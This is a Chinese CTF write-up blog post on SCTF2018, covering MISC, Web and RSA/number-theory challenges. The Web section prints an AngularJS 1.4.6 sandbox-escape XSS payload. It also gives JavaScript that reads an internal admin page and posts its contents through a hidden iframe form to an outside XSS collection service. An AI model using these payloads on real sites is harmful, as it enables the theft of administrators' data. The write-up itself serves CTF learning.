RSA – Harmoc 's blog

Write up

SCTF2018-…

2018年6月21日2018年6月21日
by harmoc

前言

太菜了，还是太菜了。我已经沦为MISC选手了QAQ，一道Web没做出来（PHPmyadmin学弟做的）。。。愧为Web狗。

不过。。。这次超过天枢了，好开心。（虽说人家没有认真打）

正体

MISC-Modbus

查了下Modbus，是个工控协议。随手右键看了下TCP流，没想到直接就有flag....
什么鬼。

MISC-侧信道初探

这个算是学到了一点点。查了下侧信道的内容。题目给的文件是一个算法和一个图片。
直接看图片里下降沿，按二进制读取即为flag

MISC-肥宅快乐题

打游戏就给flag，不过真正的肥宅都懒得打，我用Flash反编译找的flag。。。
多亏potplayer强大，能直接拖进度条跳帧。拖到后面找到了flag，但那字体1和l分不清，于是在反编译里查了附近的字段。直接定位，base64 decode，flag complete.

Web-新的建议版

这题XSS都成功了，就是不知道下一步怎么利用。毕竟只能打自己。。。
payload：

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(alert(1))//');}}

页面引用了AngularJS 1.4.6，对应版本有漏洞
怼了两天没做出来。。。。
等大佬们的flag吧。。。。

找到了一份Harries师傅的wp，MMP哟。原来提交留言管理员那里也会触发一遍。。。有句mmp我一定要说。

后台并不在公网上，http://127.0.0.1:1002/admin

构造payload读后台：

$.ajax({
    url: "/admin",
    type: "GET",
    dataType: "text",
    success: function(result) {
        var code = btoa(encodeURIComponent(result));
        xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
    },
    error: function(msg) {

    }
})

function xssPost(url, postStr) {
    var de;
    de = document.body.appendChild(document.createElement('iframe'));
    de.src = 'about:blank';
    de.height = 1;
    de.width = 1;
    de.contentDocument.write('<form method="POST" action="' + url + '"><input name="code" value="' + postStr + '"/></form>');
    de.contentDocument.forms[0].submit();
    de.style.display = 'none';
}

在js脚本里写入读取后台页面的代码，提交留言，收到 /admin 页面的内容

在base64跟url解码之后，拿到 /admin 页面

我们可以看到有个文件管理页面，继续修改js访问 /admin/file

这里需要输入文件密码才能访问，接下来找一下文件密码

在一开始的首页里有个 min-test.js ，这里泄露了admin模板文件 view/admintest2313.html ，在这个模板中发现一个备忘录的接口

猜测这是在看 admintest2313 用户的备忘录，然后我们从获取到的后台页面中发现了 adminClound 这个用户名

拿到文件密码后，构造post包访问 /admin/file

$.ajax({
    url: "/admin/file",
    type: "POST",
    data: "filepasswd=HGf%5E%2639NsslUIf%5E23",
    dataType: "text",
    success: function(result) {
        var code = btoa(encodeURIComponent(result));
        xssPost('https://xsspt.com/index.php?do=api&id=xxxxxx', code);
    },
    error: function(msg) {

    }
})

即得flag。
太菜了，太菜了。。。。
想不到，想不到。。。。

Web-PHPmyadmin

这题学弟在群里看到了某师傅发的截图，尽管打了码，不过还是看到了师傅用的一句话的名字，爆破了密码。。。直接拿的flag。。。
真是多亏他的防撤回。。。QAQ

Crypto-it may contain 'flag'

nec都给了，数量级相同，用e指数攻击，维纳攻击，可解出d

而后解出：

n = 356096033429997161372356441930246707554046995590506452306084931488519008238592151695866774341246347160182054216879883209187019942641996111166252052256475412435016177136773967956292472785118669272929844214105480922945372638910276569650465033695573697459823872295312452877368652943145314840314022954151337366463
d = 731297
c = 0xd19d63015bdcb0b61824237b5c67cb2ef09af0c6cd30e193ff9683357b1e45ab4df607b8c1e0b96cafc49a84d7e655c3ce0f71b1d217eec9ca6cdfa57dd3dc92533b79431aa8a7d6ca67ac9cdd65b178a5a96ab7ce7bf88440f4a9b9d10151b0c942a42fdab9ea2c2f0c3706e9777c91dcc9bbdee4b0fb7f5d3001719c1dd3d3
mingwen = pow(c,d,n)
print (hex(mingwen))

Crypto-a number problem

x**33=1926041757553905692219721422025224638913707 mod 3436415358139016629092568198745009225773259
tell me the smallest answer of x

这题我还问了我爸到底是个啥原理，算是巧了，，，我爹数学系出身。。。余数定理，我爹说小时候还跟我玩过这个游戏。。。

a = b mod c
====>
a mod c == b mod c

然鹅手写是跑不出来的，最后还是队友用wolframalpha输入等式直接出的。。。。

标签： <span>RSA</span>